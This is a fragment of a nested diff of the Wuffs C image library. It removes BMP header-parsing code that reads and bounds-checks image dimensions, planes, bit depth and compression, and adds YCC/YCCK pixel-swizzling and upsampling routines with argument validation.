-+ const uint8_t* src_ptr3, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t stride3, -+ uint32_t inv_h0, -+ uint32_t inv_h1, -+ uint32_t inv_h2, -+ uint32_t inv_h3, -+ uint32_t inv_v0, -+ uint32_t inv_v1, -+ uint32_t inv_v2, -+ uint32_t inv_v3, -+ uint32_t half_width_for_2to1, -+ uint32_t half_height_for_2to1, -+ uint8_t* scratch_buffer_2k_ptr, -+ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], -+ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = -+ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = -+ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = -+ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; -+ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3 = -+ (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; -+ -+ uint32_t y; -+ for (y = y_min_incl; y < y_max_excl; y++) { -+ const uint8_t* src0_major = -+ src_ptr0 + (((y - y_min_incl) / inv_v0) * (size_t)stride0); -+ const uint8_t* src1_major = -+ src_ptr1 + (((y - y_min_incl) / inv_v1) * (size_t)stride1); -+ const uint8_t* src2_major = -+ src_ptr2 + (((y - y_min_incl) / inv_v2) * (size_t)stride2); -+ const uint8_t* src3_major = -+ src_ptr3 + (((y - y_min_incl) / inv_v3) * (size_t)stride3); -+ -+ uint32_t x = x_min_incl; -+ while (x < x_max_excl) { -+ uint32_t end = x + 480u; -+ if (end > x_max_excl) { -+ end = x_max_excl; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -- uint32_t t_6; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; -- if (num_bits_6 == 8) { -- t_6 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_6 += 8u; -- *scratch |= ((uint64_t)(num_bits_6)) << 56; -- } -- } -- self->private_impl.f_bits_per_pixel = t_6; -- } -- } else if (self->private_impl.f_bitmap_info_len == 16u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -- uint32_t t_7; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; -- if (num_bits_7 == 24) { -- t_7 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_7 += 8u; -- *scratch |= ((uint64_t)(num_bits_7)) << 56; -- } -- } -- v_width = t_7; -- } -- if (v_width > 2147483647u) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -- } else if (v_width > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- self->private_impl.f_width = v_width; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); -- uint32_t t_8; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; -- if (num_bits_8 == 24) { -- t_8 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_8 += 8u; -- *scratch |= ((uint64_t)(num_bits_8)) << 56; -- } -- } -- v_height = t_8; -- } -- if (v_height > 2147483647u) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -- } else if (v_height > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- self->private_impl.f_height = v_height; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); -- uint32_t t_9; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_9 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; -- if (num_bits_9 == 8) { -- t_9 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_9 += 8u; -- *scratch |= ((uint64_t)(num_bits_9)) << 56; -- } -- } -- v_planes = t_9; -- } -- if (v_planes != 1u) { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -- uint32_t t_10; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_10 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; -- if (num_bits_10 == 8) { -- t_10 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_10 += 8u; -- *scratch |= ((uint64_t)(num_bits_10)) << 56; -- } -- } -- self->private_impl.f_bits_per_pixel = t_10; -- } -- } else { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); -- uint32_t t_11; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; -- if (num_bits_11 == 24) { -- t_11 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_11 += 8u; -- *scratch |= ((uint64_t)(num_bits_11)) << 56; -- } -- } -- v_width = t_11; -- } -- if (v_width > 2147483647u) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -- } else if (v_width > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- self->private_impl.f_width = v_width; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); -- uint32_t t_12; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_12 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; -- if (num_bits_12 == 24) { -- t_12 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_12 += 8u; -- *scratch |= ((uint64_t)(num_bits_12)) << 56; -- } -- } -- v_height = t_12; -- } -- if (v_height == 2147483648u) { -- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); -- goto exit; -- } else if (v_height > 2147483648u) { -- v_height = ((uint32_t)(0u - v_height)); -- if (v_height > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- self->private_impl.f_height = v_height; -- self->private_impl.f_top_down = true; -- } else if (v_height > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } else { -- self->private_impl.f_height = v_height; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); -- uint32_t t_13; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_13 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_13 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_13; -- if (num_bits_13 == 8) { -- t_13 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_13 += 8u; -- *scratch |= ((uint64_t)(num_bits_13)) << 56; -- } -+ -+ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; -+ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; -+ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; -+ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; -+ -+ const uint8_t* up0 = (*upfunc0)( // -+ scratch_buffer_2k_ptr + (0u * 480u), // -+ src0_major + ((x - x_min_incl) / inv_h0), // -+ src0_major + ((x - x_min_incl) / inv_h0), // -+ src_len0, // -+ 0u, false, false); -+ -+ const uint8_t* up1 = (*upfunc1)( // -+ scratch_buffer_2k_ptr + (1u * 480u), // -+ src1_major + ((x - x_min_incl) / inv_h1), // -+ src1_major + ((x - x_min_incl) / inv_h1), // -+ src_len1, // -+ 0u, false, false); -+ -+ const uint8_t* up2 = (*upfunc2)( // -+ scratch_buffer_2k_ptr + (2u * 480u), // -+ src2_major + ((x - x_min_incl) / inv_h2), // -+ src2_major + ((x - x_min_incl) / inv_h2), // -+ src_len2, // -+ 0u, false, false); -+ -+ const uint8_t* up3 = (*upfunc3)( // -+ scratch_buffer_2k_ptr + (3u * 480u), // -+ src3_major + ((x - x_min_incl) / inv_h3), // -+ src3_major + ((x - x_min_incl) / inv_h3), // -+ src_len3, // -+ 0u, false, false); -+ -+ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); -+ x = end; -+ } -+ } -+} -+ -+// -------- -+ -+// wuffs_private_impl__swizzle_flattened_length is like -+// wuffs_base__table__flattened_length but returns uint64_t (not size_t) and -+// also accounts for subsampling. -+static uint64_t // -+wuffs_private_impl__swizzle_flattened_length(uint32_t width, -+ uint32_t height, -+ uint32_t stride, -+ uint32_t inv_h, -+ uint32_t inv_v) { -+ uint64_t scaled_width = (((uint64_t)width) + (inv_h - 1u)) / inv_h; -+ uint64_t scaled_height = (((uint64_t)height) + (inv_v - 1u)) / inv_v; -+ if (scaled_height <= 0u) { -+ return 0u; -+ } -+ return ((scaled_height - 1u) * stride) + scaled_width; -+} -+ -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status // -+wuffs_base__pixel_swizzler__swizzle_ycck( -+ const wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_buffer* dst, -+ wuffs_base__slice_u8 dst_palette, -+ uint32_t x_min_incl, -+ uint32_t x_max_excl, -+ uint32_t y_min_incl, -+ uint32_t y_max_excl, -+ wuffs_base__slice_u8 src0, -+ wuffs_base__slice_u8 src1, -+ wuffs_base__slice_u8 src2, -+ wuffs_base__slice_u8 src3, -+ uint32_t width0, -+ uint32_t width1, -+ uint32_t width2, -+ uint32_t width3, -+ uint32_t height0, -+ uint32_t height1, -+ uint32_t height2, -+ uint32_t height3, -+ uint32_t stride0, -+ uint32_t stride1, -+ uint32_t stride2, -+ uint32_t stride3, -+ uint8_t h0, -+ uint8_t h1, -+ uint8_t h2, -+ uint8_t h3, -+ uint8_t v0, -+ uint8_t v1, -+ uint8_t v2, -+ uint8_t v3, -+ bool is_rgb_or_cmyk, -+ bool triangle_filter_for_2to1, -+ wuffs_base__slice_u8 scratch_buffer_2k) { -+ if (!p) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } else if (!dst || // -+ (x_min_incl > x_max_excl) || // -+ (x_max_excl > 0xFFFFu) || // -+ (y_min_incl > y_max_excl) || // -+ (y_max_excl > 0xFFFFu) || // -+ (4u <= ((unsigned int)h0 - 1u)) || // -+ (4u <= ((unsigned int)h1 - 1u)) || // -+ (4u <= ((unsigned int)h2 - 1u)) || // -+ (4u <= ((unsigned int)v0 - 1u)) || // -+ (4u <= ((unsigned int)v1 - 1u)) || // -+ (4u <= ((unsigned int)v2 - 1u)) || // -+ (triangle_filter_for_2to1 && ((x_min_incl | y_min_incl) > 0u)) || -+ (scratch_buffer_2k.len < 2048u)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((h3 != 0u) || (v3 != 0u)) { -+ if ((4u <= ((unsigned int)h3 - 1u)) || // -+ (4u <= ((unsigned int)v3 - 1u))) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ } -+ -+ uint32_t max_incl_h = wuffs_private_impl__u32__max_of_4(h0, h1, h2, h3); -+ uint32_t max_incl_v = wuffs_private_impl__u32__max_of_4(v0, v1, v2, v3); -+ -+ // Calculate the inverse h and v ratios. -+ // -+ // It also canonicalizes (h=2 and max_incl_h=4) as equivalent to (h=1 and -+ // max_incl_h=2). In both cases, the inv_h value is 2. -+ uint32_t inv_h0 = max_incl_h / h0; -+ uint32_t inv_h1 = max_incl_h / h1; -+ uint32_t inv_h2 = max_incl_h / h2; -+ uint32_t inv_h3 = h3 ? (max_incl_h / h3) : 0u; -+ uint32_t inv_v0 = max_incl_v / v0; -+ uint32_t inv_v1 = max_incl_v / v1; -+ uint32_t inv_v2 = max_incl_v / v2; -+ uint32_t inv_v3 = v3 ? (max_incl_v / v3) : 0u; -+ -+ if (x_min_incl != 0) { -+ if ((x_min_incl % inv_h0) || (x_min_incl % inv_h1) || -+ (x_min_incl % inv_h2) || (inv_h3 && (x_min_incl % inv_h3))) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ } -+ if (y_min_incl != 0) { -+ if ((y_min_incl % inv_v0) || (y_min_incl % inv_v1) || -+ (y_min_incl % inv_v2) || (inv_v3 && (y_min_incl % inv_v3))) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ } -+ -+ uint32_t half_width_for_2to1 = ((x_max_excl - x_min_incl) + 1u) / 2u; -+ if (inv_h0 == 2) { -+ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width0); -+ } -+ if (inv_h1 == 2) { -+ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width1); -+ } -+ if (inv_h2 == 2) { -+ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width2); -+ } -+ if (inv_h3 == 2) { -+ half_width_for_2to1 = wuffs_base__u32__min(half_width_for_2to1, width3); -+ } -+ -+ uint32_t half_height_for_2to1 = ((y_max_excl - y_min_incl) + 1u) / 2u; -+ if (inv_v0 == 2) { -+ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height0); -+ } -+ if (inv_v1 == 2) { -+ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height1); -+ } -+ if (inv_v2 == 2) { -+ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height2); -+ } -+ if (inv_v3 == 2) { -+ half_height_for_2to1 = wuffs_base__u32__min(half_height_for_2to1, height3); -+ } -+ -+ x_max_excl = wuffs_base__u32__min( // -+ wuffs_base__pixel_config__width(&dst->pixcfg), // -+ x_min_incl + wuffs_private_impl__u32__min_of_5( // -+ x_max_excl - x_min_incl, // -+ width0 * inv_h0, // -+ width1 * inv_h1, // -+ width2 * inv_h2, // -+ inv_h3 ? (width3 * inv_h3) : 0xFFFFFFFF)); -+ y_max_excl = wuffs_base__u32__min( // -+ wuffs_base__pixel_config__height(&dst->pixcfg), // -+ y_min_incl + wuffs_private_impl__u32__min_of_5( // -+ y_max_excl - y_min_incl, // -+ height0 * inv_v0, // -+ height1 * inv_v1, // -+ height2 * inv_v2, // -+ inv_v3 ? (height3 * inv_v3) : 0xFFFFFFFF)); -+ -+ if ((x_min_incl >= x_max_excl) || (y_min_incl >= y_max_excl)) { -+ return wuffs_base__make_status(NULL); -+ } -+ uint32_t width = x_max_excl - x_min_incl; -+ uint32_t height = y_max_excl - y_min_incl; -+ -+ if (((h0 * inv_h0) != max_incl_h) || // -+ ((h1 * inv_h1) != max_incl_h) || // -+ ((h2 * inv_h2) != max_incl_h) || // -+ ((v0 * inv_v0) != max_incl_v) || // -+ ((v1 * inv_v1) != max_incl_v) || // -+ ((v2 * inv_v2) != max_incl_v) || // -+ (src0.len < wuffs_private_impl__swizzle_flattened_length( -+ width, height, stride0, inv_h0, inv_v0)) || -+ (src1.len < wuffs_private_impl__swizzle_flattened_length( -+ width, height, stride1, inv_h1, inv_v1)) || -+ (src2.len < wuffs_private_impl__swizzle_flattened_length( -+ width, height, stride2, inv_h2, inv_v2))) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((h3 != 0u) || (v3 != 0u)) { -+ if (((h3 * inv_h3) != max_incl_h) || // -+ ((v3 * inv_v3) != max_incl_v) || // -+ (src3.len < wuffs_private_impl__swizzle_flattened_length( -+ width, height, stride3, inv_h3, inv_v3))) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ } -+ -+ if (wuffs_base__pixel_format__is_planar(&dst->pixcfg.private_impl.pixfmt)) { -+ // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. -+ return wuffs_base__make_status( -+ wuffs_base__error__unsupported_pixel_swizzler_option); -+ } -+ -+ // ---- -+ -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) -+ switch (dst->pixcfg.private_impl.pixfmt.repr) { -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR_565) -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR) -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL_4X16LE) -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_PREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGB) -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_NONPREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGBA_PREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ break; -+#endif -+ default: -+ return wuffs_base__make_status( -+ wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist); -+ } -+#else // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) -+ switch (dst->pixcfg.private_impl.pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -+ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ break; -+ -+ default: -+ // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. -+ return wuffs_base__make_status( -+ wuffs_base__error__unsupported_pixel_swizzler_option); -+ } -+#endif // defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) -+ -+ // ---- -+ -+ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func = NULL; -+ -+ if (is_rgb_or_cmyk) { -+ conv3func = &wuffs_private_impl__swizzle_rgb__convert_3_general; -+ } else { -+ switch (dst->pixcfg.private_impl.pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+ if (wuffs_base__cpu_arch__have_x86_avx2()) { -+ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_bgrx_x86_avx2; -+ break; - } -- v_planes = t_13; -- } -- if (v_planes != 1u) { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); -- uint32_t t_14; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_14 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_14 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_14; -- if (num_bits_14 == 8) { -- t_14 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_14 += 8u; -- *scratch |= ((uint64_t)(num_bits_14)) << 56; -- } -+#endif -+ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_bgrx; -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+ if (wuffs_base__cpu_arch__have_x86_avx2()) { -+ conv3func = &wuffs_private_impl__swizzle_ycc__convert_3_rgbx_x86_avx2; -+ break; - } -- self->private_impl.f_bits_per_pixel = t_14; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); -- uint32_t t_15; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; -- if (num_bits_15 == 24) { -- t_15 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_15 += 8u; -- *scratch |= ((uint64_t)(num_bits_15)) << 56; -- } -- } -- self->private_impl.f_compression = t_15; -- } -- if (self->private_impl.f_bits_per_pixel == 0u) { -- if (self->private_impl.f_compression == 4u) { -- self->private_impl.f_io_redirect_fourcc = 1246774599u; -- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); -- goto ok; -- } else if (self->private_impl.f_compression == 5u) { -- self->private_impl.f_io_redirect_fourcc = 1347307296u; -- status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); -- goto ok; -- } -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- self->private_data.s_do_decode_image_config[0].scratch = 20u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(34); -- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; -- if (self->private_impl.f_bitmap_info_len == 40u) { -- if (self->private_impl.f_bits_per_pixel >= 16u) { -- if (self->private_impl.f_padding >= 16u) { -- self->private_impl.f_bitmap_info_len = 56u; -- self->private_impl.f_padding -= 16u; -- } else if (self->private_impl.f_padding >= 12u) { -- self->private_impl.f_bitmap_info_len = 52u; -- self->private_impl.f_padding -= 12u; -- } -- } -- } else if ((self->private_impl.f_bitmap_info_len != 52u) && -- (self->private_impl.f_bitmap_info_len != 56u) && -- (self->private_impl.f_bitmap_info_len != 64u) && -- (self->private_impl.f_bitmap_info_len != 108u) && -- (self->private_impl.f_bitmap_info_len != 124u)) { -- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); -- goto exit; -- } -- if (self->private_impl.f_compression == 6u) { -- self->private_impl.f_compression = 3u; -- } -- if (self->private_impl.f_compression == 3u) { -- if (self->private_impl.f_bitmap_info_len >= 52u) { -- 